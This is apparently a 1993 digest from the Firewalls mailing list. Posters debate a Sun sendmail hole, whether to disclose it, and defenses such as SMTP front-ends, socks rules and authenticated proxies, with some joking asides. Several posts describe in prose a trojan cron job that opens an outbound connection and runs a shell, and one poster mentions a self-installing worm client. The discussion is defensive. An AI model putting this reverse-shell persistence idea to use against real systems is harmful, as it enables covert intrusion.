almost certainly start with /etc/passwd, and the odds on finding some passwords is quite good. Let's assume that just 5% of your users pick bad passwords. (If you don't run crack, that number will be more like 25%, judging from experimental evidence.) With a user population of 14, the odds are better than even that one will be crackable. The whole purpose of a firewall is to stop just that sort of thing. >From what we've seen, the odds on containing someone with a login on your machine are somewhere between slim and none. Contemporary UNIX systems are just too porous. From Firewalls-Owner Fri Oct 22 15:48:31 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA08870; Fri, 22 Oct 93 22:26:11 GMT Received: from rip.psg.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA08843; Fri, 22 Oct 93 15:25:54 PDT Received: by rip.psg.com (Smail3.1.28.1 #5) id m0oqUz9-00034vC; Fri, 22 Oct 93 15:29 PDT Message-Id: From: randy@psg.com (Randy Bush) Subject: Re: Sun sendmail vulnerability To: kwan@versant.com (Kwan-Seng Low) Date: Fri, 22 Oct 1993 15:29:27 -0700 (PDT) Cc: firewalls@GreatCircle.COM In-Reply-To: from "Kwan-Seng Low" at Oct 22, 93 02:38:51 pm Content-Type: text Content-Length: 177 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > "The best defense is to offense" > How do we incorparate this into the internet security/firewalls? Flame eachother offensively? Have you not gotten all of today's traffic? From Firewalls-Owner Fri Oct 22 23:03:33 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA09155; Fri, 22 Oct 93 23:03:33 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA09147; Fri, 22 Oct 93 16:03:22 PDT Received: from [192.9.140.112] by lehman.com (5.67/LB 0.1) id AA00205; Fri, 22 Oct 93 19:07:10 -0400 Received: from kublai.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA01057; Fri, 22 Oct 93 19:07:08 EDT Received: from snark.lehman.com by kublai.lehman.com (4.1/SMI-4.1) id AA15871; Fri, 22 Oct 93 19:07:07 EDT Date: Fri, 22 Oct 93 19:07:07 EDT From: pmetzger@lehman.com (Perry E. Metzger) Message-Id: <9310222307.AA15871@kublai.lehman.com> Received: by snark.lehman.com (4.1/SMI-4.1) id AA27546; Fri, 22 Oct 93 19:07:07 EDT To: firewalls@greatcircle.com Subject: Re: Sun sendmail vulnerability In-Reply-To: Your message of "Fri, 22 Oct 1993 14:38:51 PDT." Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Kwan-Seng Low says: > have a silly question.... > "The best defense is to offense" > How do we incorparate this into the internet security/firewalls? I would suggest TDRs on the firewall to trace the packets back to their source coupled with an automatic targetting system based on the Usenet mapping database linked to a CD-ROM based map of the world, all of which would be used to direct the nuclear missiles at the city from which the attack is being launched. Perry "Strangelove" Metzger "Mein Fuhrer, I can walk mein fuhrer!!!" From Firewalls-Owner Fri Oct 22 16:17:03 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA08944; Fri, 22 Oct 93 22:29:32 GMT Received: from netsys1.netsys.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA08926; Fri, 22 Oct 93 15:29:22 PDT Received: by netsys1.netsys.com (4.1/NETSYS-1.0) id AA24150; Fri, 22 Oct 93 15:35:42 PDT Date: Fri, 22 Oct 93 15:35:42 PDT From: Henri De Valois Message-Id: <9310222235.AA24150@netsys1.netsys.com> To: firewalls@greatcircle.com, lkn@llnl.gov Subject: Re: Sun sendmail vulnetability Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk While this hole is known ( to some of us ), I believe it's not the first, and definately not the last security hole that was located in sendmail. I also believe that general awareness is better than complete ignorance. --- jsz jsz@netsys.com jsz@crimelab.com From Firewalls-Owner Sat Oct 23 00:51:07 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA09941; Sat, 23 Oct 93 00:51:07 GMT Received: from nethost1.sciatl.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA09929; Fri, 22 Oct 93 17:50:57 PDT Received: from sa14.sciatl.com by nethost1.sciatl.com with SMTP (16.6/15.6) id AA17465; Fri, 22 Oct 93 20:53:55 -0400 From: shawn@sa14.sciatl.com To: firewalls@greatcircle.com Subject: Re: Sun sendmail vulnerability X-Mailer: ScoMail 1.0 Date: Fri, 22 Oct 1993 20:49:50 -0400 (EDT) Message-Id: <9310222049.aa05684@sa14.sa14.sciatl.com> Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Okay, to try and tie all of this back into the firewalls discussion let's assume that you've got a firewall in between your internal hosts and the "bad guys" and that the firewall does not have the bug. For those people who know what the bug is, can the "bad guys" take advantage of internal hosts that HAVE the bug? Assume that the firewall merely forwards the messages to the desired internal host. If that's true, then it becomes even more critical that every network/system administrator be made aware of the bug and what they can do to fix it. Has anyone (who understands how the bug works) tested for its existence on other platforms (such as AIX, SCO and HP/UX). I think it is safe to say that most BSD systems would have the bug (assuming they are running a version of sendmail that is earlier then 8.x), correct? Shawn Hayes From Firewalls-Owner Sat Oct 23 00:58:50 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA09985; Sat, 23 Oct 93 00:58:50 GMT Received: from uu3.psi.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA09976; Fri, 22 Oct 93 17:58:27 PDT Received: from bacon.UUCP by uu3.psi.com (5.65b/4.0.071791-PSI/PSINet) via UUCP; id AA09254 for ; Fri, 22 Oct 93 20:57:15 -0400 Received: from lorax.imsi.com by bacon.IMSI.COM (4.1/SMI-4.1) id AA14841; Fri, 22 Oct 93 20:41:04 EDT Received: from localhost by lorax.imsi.com (4.1/SMI-4.1) id AA01358; Fri, 22 Oct 93 20:41:03 EDT Message-Id: <9310230041.AA01358@lorax.imsi.com> To: pmetzger@lehman.com Cc: firewalls@greatcircle.com Subject: Re: Sun sendmail vulnerability In-Reply-To: Your message of "Fri, 22 Oct 1993 19:07:07 EDT." <9310222307.AA15871@kublai.lehman.com> Reply-To: rens@imsi.com Date: Fri, 22 Oct 1993 20:41:03 -0400 From: Rens Troost Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >>>>> On Fri, 22 Oct 93 19:07:07 EDT, pmetzger@lehman.com (Perry E. Metzger) said: Kwan-Seng> have a silly question.... "The best defense is to Kwan-Seng> offense" How do we incorparate this into the internet Kwan-Seng> security/firewalls? pmetzger> I would suggest TDRs on the firewall to trace the packets pmetzger> back to their source coupled with an automatic targetting pmetzger> system based on the Usenet mapping database linked to a pmetzger> CD-ROM based map of the world, all of which would be used pmetzger> to direct the nuclear missiles at the city from which the pmetzger> attack is being launched. Too crude. MIME messages that drive the would-be attackers speakers at the resonating frequency of human bone! Small devices that cause the other guy's telephone to explode! send icmp unreachables for all known networks to the crackers' machine! Abduct them and hold them prisoner in an undersea fortress populated solely by STREAMS programmers! Make them write line-by-line documentation for sendmail, or anything from Athena! -Rens From Firewalls-Owner Sat Oct 23 01:43:23 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA10340; Sat, 23 Oct 93 01:43:23 GMT Received: from relay.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA10332; Fri, 22 Oct 93 18:43:14 PDT Received: by relay.tis.com; id AA18367; Fri, 22 Oct 93 21:44:40 EDT Received: from tis.com(192.33.112.100) by relay via smap (V1.0mjr) id sma018364; Fri Oct 22 21:44:14 1993 Received: from otter.TIS.COM by TIS.COM (4.1/SUN-5.64) id AA20968; Fri, 22 Oct 93 21:46:34 EDT Received: by otter.TIS.COM (5.65/otter) id AA01393; Fri, 22 Oct 93 21:46:33 -0400 From: mjr@TIS.COM Date: Fri, 22 Oct 93 21:46:33 -0400 Message-Id: <1393.9310230146@otter.TIS.COM> To: firewalls@GreatCircle.COM Subject: re: Sun sendmail vulnerability Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >"The best defense is to offense" >How do we incorparate this into the internet security/firewalls? That was what I was getting at with my reference from Sun Tzu(*) earlier. One workable approach would be for security folks to invest a little time in gathering intelligence about the cracker community. For one, most of them like to maintain a degree of anonymity. That means that it should be pretty easy to pose as a cracker and start getting in on the ground floor of some of their tricks. Drain 'em dry -- then call the Secret Service. :) Doing this could be time consuming, but the fact of the matter is that there are more right-minded folks on the internet than not. We outnumber them many to one. Posing as a cracker might be an amusing "field trip" though frankly from what I've seen of most of their abilities we're NOT talking big game hunting... Side-track: Us security guys are often accused of being professional paranoids. For a rather surreal story about excessive paranoia that somewhat applies to internet hackers, I heartily recommend G.K. Chesterton's "The man who was thursday." mjr. (* one of the fathers of modern computer security) :) From Firewalls-Owner Sat Oct 23 01:46:42 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA10377; Sat, 23 Oct 93 01:46:42 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA10369; Fri, 22 Oct 93 18:46:29 PDT Received: from [192.9.140.112] by lehman.com (5.67/LB 0.1) id AA01180; Fri, 22 Oct 93 21:50:15 -0400 Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA03253; Fri, 22 Oct 93 21:50:14 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA27731; Fri, 22 Oct 93 21:50:13 EDT Message-Id: <9310230150.AA27731@snark.lehman.com> To: rens@imsi.com Cc: firewalls@greatcircle.com Subject: Re: Sun sendmail vulnerability In-Reply-To: Your message of "Fri, 22 Oct 1993 20:41:03 EDT." <9310230041.AA01358@lorax.imsi.com> Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Fri, 22 Oct 1993 21:50:13 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Rens Troost says: > Too crude. MIME messages that drive the would-be attackers speakers at > the resonating frequency of human bone! Small devices that cause the > other guy's telephone to explode! send icmp unreachables for all known > networks to the crackers' machine! Abduct them and hold them prisoner > in an undersea fortress populated solely by STREAMS programmers! Make > them write line-by-line documentation for sendmail, or anything from > Athena! Ah! You've inspired me! As long as we are talking of a good offense, perhaps the proper technique would be a giant neural net program designed to predict in advance which individual in the population are likely to attempt to break in to your machine, followed by the automatic tailoring of major histocompatibility complex and genetic fingerprint tailored viruses using an expert system written in OPS5 implemented on top of C-Linda. The viruses would be designed to be fatal only to the people the neural network decides are likely to be future crackers and would be deployed by contaminating the output of the Coca Cola Bottling Company of the region nearest the potential criminal, since crackers are likely to be or to know consumers of Coca Cola products. This would have the advantage of eliminating problems long before they start. Perry From Firewalls-Owner Sat Oct 23 02:04:26 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA10541; Sat, 23 Oct 93 02:04:26 GMT Received: from relay.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA10533; Fri, 22 Oct 93 19:04:18 PDT Received: by relay.tis.com; id AA18545; Fri, 22 Oct 93 22:05:45 EDT Received: from tis.com(192.33.112.100) by relay via smap (V1.0mjr) id sma018540; Fri Oct 22 22:05:12 1993 Received: from otter.TIS.COM by TIS.COM (4.1/SUN-5.64) id AA21190; Fri, 22 Oct 93 22:07:32 EDT Received: by otter.TIS.COM (5.65/otter) id AA01475; Fri, 22 Oct 93 22:07:31 -0400 From: mjr@TIS.COM Date: Fri, 22 Oct 93 22:07:31 -0400 Message-Id: <1475.9310230207@otter.TIS.COM> To: firewalls@GreatCircle.COM, shawn@sa14.sciatl.com Subject: Re: Sun sendmail vulnerability Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >Okay, to try and tie all of this back into the firewalls discussion let's >assume that you've got a firewall in between your internal hosts and the >"bad guys" and that the firewall does not have the bug. For those people >who know what the bug is, can the "bad guys" take advantage of internal hosts >that HAVE the bug? Assume that the firewall merely forwards the messages to >the desired internal host. Sure it's a problem. In a sense you can't guard against a data-driven attack (like a virus or trojan or weird mail bomb) without either carefully vetting ALL your data or refusing to accept any data from outside. That is no fun at all. The firewall still helps a lot because even if the attacker is able to add (for example) entries to your password file -- he can't GET to the machine to take advantage of it (or it's much harder). In general, your firewall might as well try to do some basic peering at whatever it passes along. For example, if you're using a version of sendmail with this particular bug, which appears to rely on delivery of failed messages, the message will bomb properly on the firewall machine and never get to your soft chewy interior. mjr. From Firewalls-Owner Sat Oct 23 02:56:24 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA10838; Sat, 23 Oct 93 02:56:24 GMT Received: from tuna.wang.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA10829; Fri, 22 Oct 93 19:56:06 PDT Received: from elf.wang.com by tuna.wang.com with SMTP id AA24335 (5.65c/IDA-1.5 for ); Fri, 22 Oct 1993 22:59:19 -0400 Received: from fnord.wang.com by elf.wang.com with SMTP id AA19314 (5.65c/IDA-1.5); Fri, 22 Oct 1993 22:59:15 -0400 Received: by fnord.wang.com (5.65c/TF5) id AA13679; Fri, 22 Oct 1993 22:59:09 -0400 From: Tom Fitzgerald Message-Id: <199310230259.AA13679@fnord.wang.com> Subject: Attacks on unreachable systems To: mjr@TIS.COM Date: Fri, 22 Oct 93 22:59:09 EDT Cc: firewalls@greatcircle.com, shawn@sa14.sciatl.com In-Reply-To: <1475.9310230207@otter.TIS.COM>; from "mjr@TIS.COM" at Oct 22, 93 10:07 pm X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > The firewall still helps a lot because even if the attacker > is able to add (for example) entries to your password file -- he can't > GET to the machine to take advantage of it (or it's much harder). Maybe not all that much. This is one of my major fears about this bug, and a concern I've had for a long time about socks (and itelnet and other such tools that initiate connections through a firewall). An intruder who reached a system inside a firewall, just once, could install a cron job that, at a particular time every night, initiated a telnet connection to a high-numbered port on an outside site, and exec'd a shell if the connection succeeded. Since the TCP connection would be initiated outgoing, socks and such app-layer gateways would let it through, no problem, even though from an application standpoint, a user outside is making the connection to a system inside. Any temporary contractor or departing employee could install a trojan horse like this. Even if he didn't have root access, he could use 'at', or a program run from a .forward file, or just about anything to initiate the connection. The Sun sendmail bug under discussion makes this more of a problem, since now any site using socks can be penetrated even by someone who never enters the building. All that's needed is one Sun (or whatever) with an SMTP daemon on the inside of the firewall; the security of the firewall system's own sendmail is irrelevant. This is the main reason why the socks here only allows connections to be initiated from internal systems which I personally control and trust. Any system, even one inside the firewall, is a threat once its owner (contractor or permanent employee) has left. (Though admittedly, there's only a tiny chance of this actually becoming a problem). -- Tom Fitzgerald Wang Labs, Lowell MA, USA fitz@wang.com 1-508-967-5278 From Firewalls-Owner Sat Oct 23 03:36:28 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA11220; Sat, 23 Oct 93 03:36:28 GMT Received: from sicmail.epfl.ch by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA11212; Fri, 22 Oct 93 20:36:20 PDT Received: from disuns2.epfl.ch by sicmail.epfl.ch with SMTP (PP) id <21420-0@sicmail.epfl.ch>; Sat, 23 Oct 1993 04:37:39 +0100 Received: from disun47.epfl.ch by di.epfl.ch (4.1/Epfl-4.4-s/MX) id AA20426; Sat, 23 Oct 93 04:37:37 +0100 From: Karim.Saouli@di.epfl.ch (Karim Saouli) Message-Id: <9310230337.AA20426@di.epfl.ch> Subject: Re: Attacks on unreachable systems To: fitz@wang.com (Tom Fitzgerald) Date: Sat, 23 Oct 1993 04:37:36 +0100 (MET) Cc: mjr@TIS.COM, firewalls@GreatCircle.COM, shawn@sa14.sciatl.com In-Reply-To: <199310230259.AA13679@fnord.wang.com> from "Tom Fitzgerald" at Oct 22, 93 10:59:09 pm X-Mailer: ELM [version 2.4 PL2] Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Length: 1277 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Hello, You wrote that socks would let go any through anything that is above port 1024, but, you can define within socks a practical limitation of reachable hosts. With a tuning of socks I guess port 6000 for instance could be intercepted and restricted to certain areas known to be "safe". for instance a: deny 130.62.0.0 0.0.255.255 [198.7.0.2 0.255.255.255 6000] would lock Xserver port. You could then do that for marely everything. And combined with tcplog trap every out-going connection from your subnet. I think there is no big deal about it. eventhough the fact that an alteration could be done to your system through a mail attack.(I suspect we have had a few attemps a few weeks ago...it was really unsuccesful.) (Of course doing an extensiv deny table will slow down socks but there is a price for everything) --Karim Saouli -- Karim Saouli Math Department of the System administrator Swiss Fed. Inst. of Tech (ETHZ) Room: HG G 14.2 S-Mail: HG G 14.2 Email: saouli@math.ethz.ch ETH Zentrum Phone: ++41-1-632-2230 CH-8092 Zurich FAX : ++41-1-252-3401 From Firewalls-Owner Sat Oct 23 03:41:07 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA11265; Sat, 23 Oct 93 03:41:07 GMT Received: from blackplague.gmu.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA11257; Fri, 22 Oct 93 20:40:56 PDT Received: by blackplague.gmu.edu (NX5.67d/NX3.0M) id AA02641; Fri, 22 Oct 93 23:46:52 -0400 From: Mark Message-Id: <9310230346.AA02641@blackplague.gmu.edu> Subject: Re: Attacks on unreachable systems To: firewalls@greatcircle.com Date: Fri, 22 Oct 1993 23:46:51 -0400 (EDT) X-Mailer: ELM [version 2.4 PL2] Content-Type: text Content-Length: 1324 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >Maybe not all that much. This is one of my major fears about this bug, and >a concern I've had for a long time about socks (and itelnet and other such >tools that initiate connections through a firewall). An intruder who >reached a system inside a firewall, just once, could install a cron job >that, at a particular time every night, initiated a telnet connection to a >high-numbered port on an outside site, and exec'd a shell if the connection >succeeded. >(contractor or permanent employee) has left. (Though admittedly, there's >only a tiny chance of this actually becoming a problem). -rw-r--r-- 1 mark 813 Oct 20 02:03 wormcli.c You mean ^^^ that file? It does precisely that.. you can run it via a .forward or a cron, the former being less obvious. It's designed to self-install with the right buggy sendmail... The programs and bugs are out there.. it's up to the people that need to know to have the knowledge of how to fix the bugs or else security everywhere is reduced to humour for the black hats out there. Drop this "they'll find out" crap and speak your mind because sure as Im sitting here, they already know, probably before you did. nuff said Mark P.S. I've had that program for several years... it aint new. P.P.S. I have removed the file from the system now. Dont ask for it. Sigh. From Firewalls-Owner Sat Oct 23 03:45:27 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA11284; Sat, 23 Oct 93 03:45:27 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA11276; Fri, 22 Oct 93 20:45:17 PDT Received: from [192.9.140.112] by lehman.com (5.67/LB 0.1) id AA01824; Fri, 22 Oct 93 23:49:03 -0400 Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA04885; Fri, 22 Oct 93 23:49:01 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA27794; Fri, 22 Oct 93 23:49:00 EDT Message-Id: <9310230349.AA27794@snark.lehman.com> To: firewalls@greatcircle.com Subject: Re: Attacks on unreachable systems In-Reply-To: Your message of "Fri, 22 Oct 1993 22:59:09 EDT." <199310230259.AA13679@fnord.wang.com> Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Fri, 22 Oct 1993 23:48:59 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Tom Fitzgerald says: > An intruder who > reached a system inside a firewall, just once, could install a cron job > that, at a particular time every night, initiated a telnet connection to a > high-numbered port on an outside site, and exec'd a shell if the connection > succeeded. If the routers on the your DMZ won't let through arbitrary TCP connections going out, you are safe from this. Perry From Firewalls-Owner Sat Oct 23 02:40:36 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA12431; Sat, 23 Oct 93 09:28:38 GMT Received: from research.att.com (ninet.research.att.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA12423; Sat, 23 Oct 93 02:28:28 PDT Message-Id: <9310230928.AA12423@mycroft.GreatCircle.COM> From: smb@research.att.com Received: by bigbird.zoo.att.com; Sat Oct 23 05:30:49 EDT 1993 To: pmetzger@lehman.com Cc: firewalls@GreatCircle.COM Subject: Re: Attacks on unreachable systems Date: Sat, 23 Oct 93 05:30:46 EDT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Tom Fitzgerald says: > An intruder who > reached a system inside a firewall, just once, could install a cron job > that, at a particular time every night, initiated a telnet connectio n to a > high-numbered port on an outside site, and exec'd a shell if the con nection > succeeded. If the routers on the your DMZ won't let through arbitrary TCP connections going out, you are safe from this. Maybe not. If you permit any sort of outgoing calls at all, that attack would still succeed. Maybe it's going to the telnet port on the attacker's machine, or the mail port, or the finger port, or whatever. Sure, your gateway machine will mediate and log the call. So what? From Firewalls-Owner Sat Oct 23 11:43:05 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA12808; Sat, 23 Oct 93 11:43:05 GMT Received: from BITNIC.EDUCOM.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA12800; Sat, 23 Oct 93 04:42:56 PDT Received: from BITNIC.EDUCOM.EDU by BITNIC.EDUCOM.EDU (IBM VM SMTP V2R2) with BSMTP id 9580; Sat, 23 Oct 93 07:48:28 EDT Received: from BITNIC.EDUCOM.EDU (NJE origin NETMAINE@BITNIC) by BITNIC.EDUCOM.EDU (LMail V1.1d/1.7f) with RFC822 id 9579; Sat, 23 Oct 1993 07:48:25 -0400 Subject: Re: Sun sendmail vulnerability To: FIREWALLS@GREATCIRCLE.COM From: "Andrew T. Robinson" Date: Sat, 23 Oct 93 07:15:24 EDT In-Reply-To: <9310221759.AA03103@alpha.CES.CWRU.Edu> Message-Id: Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >The simple fact of the matter is that this list is for people who >don't trust any Joe or Jane on the Internet - even those who claim >to be wearing white hats - why else build a firewall?. > >If you can accept the need for a firewall, you should also be able >to accept that vendors and software writers are not always going to >publicly divulge how to exploit vulnerabilities. IF you want the >information, you need to establish a trusted relationship with them. > I thought this list was for people building or maintaining firewalls? If trust is an issue, than no one should be posting to this list. Would you stake your personal fortune or existence on the assertion that it would be impossible (or even hard) for someone to spoof a mailing address from one of the "trusted" participants on this list? Furthermore, exactly who on this list is "trusted?" It's a public list. Anyone can join it. Ergo (in my mind), trust of the participants is not an issue. I don't know anyone on this list personally--and no one who calls himself security conscious would take someone else's word on trustworthiness (history is replete with examples of "trusted" individuals who turned out to be untrustWORTHY.) Obfuscating access to security-related information is like gun control: The bad guys still get the information (gaining and betraying trust is almost by definition their modus operendi) and attack the good guys while they're waiting for the "background check." Internet security is in everyone's interest, from the most open site to the most secure. You can't educate everyone if you're worrying that SOMEONE might misuse the education. Besides, widely publicizing a security hole probably has the effect of getting the attention of more system administrators (who then hopefully close the hole). Andy From Firewalls-Owner Sat Oct 23 14:38:31 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13098; Sat, 23 Oct 93 14:38:31 GMT Received: from coombs.anu.edu.au by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13090; Sat, 23 Oct 93 07:38:22 PDT Message-Id: <9310231438.AA13090@mycroft.GreatCircle.COM> Received: by coombs.anu.edu.au (1.37.109.4/16.2) id AA02460; Sun, 24 Oct 93 00:37:50 +1000 From: Darren Reed Subject: Re: Sun sendmail vulnerability To: Firewalls@GreatCircle.COM (Firewalls Mailing List) Date: Sun, 24 Oct 1993 00:37:50 +1000 (EST) In-Reply-To: from "Andrew T. Robinson" at Oct 23, 93 07:15:24 am X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 280 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Ok, so sendmail is insecure and has been a major problem in the past and continues to be so... Can any of the people who have written "front-ends" to sendmail which simply spool mail make them available to the rest of us to use ? (Save us reinventing the wheel). Darren From Firewalls-Owner Sat Oct 23 15:08:57 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13140; Sat, 23 Oct 93 15:08:57 GMT Received: from relay.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13132; Sat, 23 Oct 93 08:08:49 PDT Received: by relay.tis.com; id AA21950; Sat, 23 Oct 93 11:10:17 EDT Received: from tis.com(192.33.112.100) by relay via smap (V1.0mjr) id sma021942; Sat Oct 23 11:10:11 1993 Received: from TIS.COM by TIS.COM (4.1/SUN-5.64) id AA02674; Sat, 23 Oct 93 11:12:31 EDT Message-Id: <9310231512.AA02674@TIS.COM> From: Frederick M Avolio X-Organization: Trusted Information Systems, Inc. X-Phone: +1 301 854 6889, +1 410 442 1673, FAX: +1 301 854 5363 To: Darren Reed Cc: Firewalls@greatcircle.com (Firewalls Mailing List) Subject: Re: Sun sendmail vulnerability In-Reply-To: Your message of Sun, 24 Oct 93 00:37:50 +1000. <9310231438.AA13090@mycroft.GreatCircle.COM> Date: Sat, 23 Oct 93 11:12:30 -0400 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk There is a front-end (smap) in the TIS toolkit previously announced, and available via anonymous ftp. > Can any of the people who have written "front-ends" to sendmail which > simply spool mail make them available to the rest of us to use ? (Save > us reinventing the wheel). From Firewalls-Owner Sat Oct 23 15:33:03 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13184; Sat, 23 Oct 93 15:33:03 GMT Received: from relay.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13176; Sat, 23 Oct 93 08:32:56 PDT Received: by relay.tis.com; id AA22141; Sat, 23 Oct 93 11:34:24 EDT Received: from tis.com(192.33.112.100) by relay via smap (V1.0mjr) id sma022136; Sat Oct 23 11:33:35 1993 Received: from otter.TIS.COM by TIS.COM (4.1/SUN-5.64) id AA03074; Sat, 23 Oct 93 11:35:55 EDT Received: by otter.TIS.COM (5.65/otter) id AA01825; Sat, 23 Oct 93 11:35:53 -0400 From: mjr@TIS.COM Date: Sat, 23 Oct 93 11:35:53 -0400 Message-Id: <1825.9310231535@otter.TIS.COM> To: fitz@wang.com Subject: Re: Attacks on unreachable systems Cc: firewalls@greatcircle.com, shawn@sa14.sciatl.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >Maybe not all that much. This is one of my major fears about this bug, and >a concern I've had for a long time about socks (and itelnet and other such >tools that initiate connections through a firewall). An intruder who >reached a system inside a firewall, just once, could install a cron job >that, at a particular time every night, initiated a telnet connection to a >high-numbered port on an outside site, and exec'd a shell if the connection >succeeded. This is a tough problem. That's one reason why all the proxies I included with the firewall toolkit can require authentication in any direction. If you're worried about a trojan connecting out through your firewall, then it's going to have to be a mighty clever trojan to authenticate itself as me using my Digital Pathways. That has a negative aspect in that it makes the firewall a little harder to use, but it significantly improves your audit trail and makes it very much harder to a trojan such as you describe to work. I guess that's my main beef with socks. How is socks any different from using a router with "established"?? It really is not any different, other than that you get a slightly better audit trail. (Unless you are one of the deluded who trust 'identd' "authentication") It seemed like a reasonable approach to make the proxies configurable so that if you're really concerned about data-driven trojans, you can impose authentication both ways. (For organizations that want to provide chargeback use of a firewall, it's useful too.) Another nasty trick was in a set of proxies I wrote a few years ago. They contained a "rate limiter" that acted as a bandwidth choke unidirectionally. So, you could configure your firewall's rlogin proxy to permit data to enter your corporate perimeter at full T1 speed, but limit outgoing keystrokes to 1200 baud. The user who is just typing text will never notice it, but as soon as they try to tunnel a SLIP link or kermit over the connection, its throughput turns out to be terribly lame. mjr. From Firewalls-Owner Sat Oct 23 15:44:05 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13215; Sat, 23 Oct 93 15:44:05 GMT Received: from relay.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13206; Sat, 23 Oct 93 08:43:57 PDT Received: by relay.tis.com; id AA22225; Sat, 23 Oct 93 11:45:26 EDT Received: from tis.com(192.33.112.100) by relay via smap (V1.0mjr) id sma022215; Sat Oct 23 11:44:37 1993 Received: from otter.TIS.COM by TIS.COM (4.1/SUN-5.64) id AA03392; Sat, 23 Oct 93 11:46:57 EDT Received: by otter.TIS.COM (5.65/otter) id AA01850; Sat, 23 Oct 93 11:46:56 -0400 From: mjr@TIS.COM Date: Sat, 23 Oct 93 11:46:56 -0400 Message-Id: <1850.9310231546@otter.TIS.COM> To: Firewalls@GreatCircle.COM, avalon@coombs.anu.edu.au Subject: Re: Sun sendmail vulnerability Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > Can any of the people who have written "front-ends" to sendmail which >simply spool mail make them available to the rest of us to use ? (Save >us reinventing the wheel). Coincidentally, an SMTP frontend is included with the TIS firewall toolkit we announced on thursday. You can run it in front of sendmail to collect mail without privs in a chrooted environment, and a second process hands it to sendmail for final delivery. Depending on the local environment on your machine, sendmail's processing need not be performed as "root" either -- for example on whitehouse.gov all the mail runs as user "uucp", except for /bin/mail. The toolkit docs describe setting it up in the basic configuration. If you want to run sendmail at the backend as someone other than "root" you need to change ownerships on mqueue, aliases, /etc/sendmail.pid and so forth, and other minor bits of 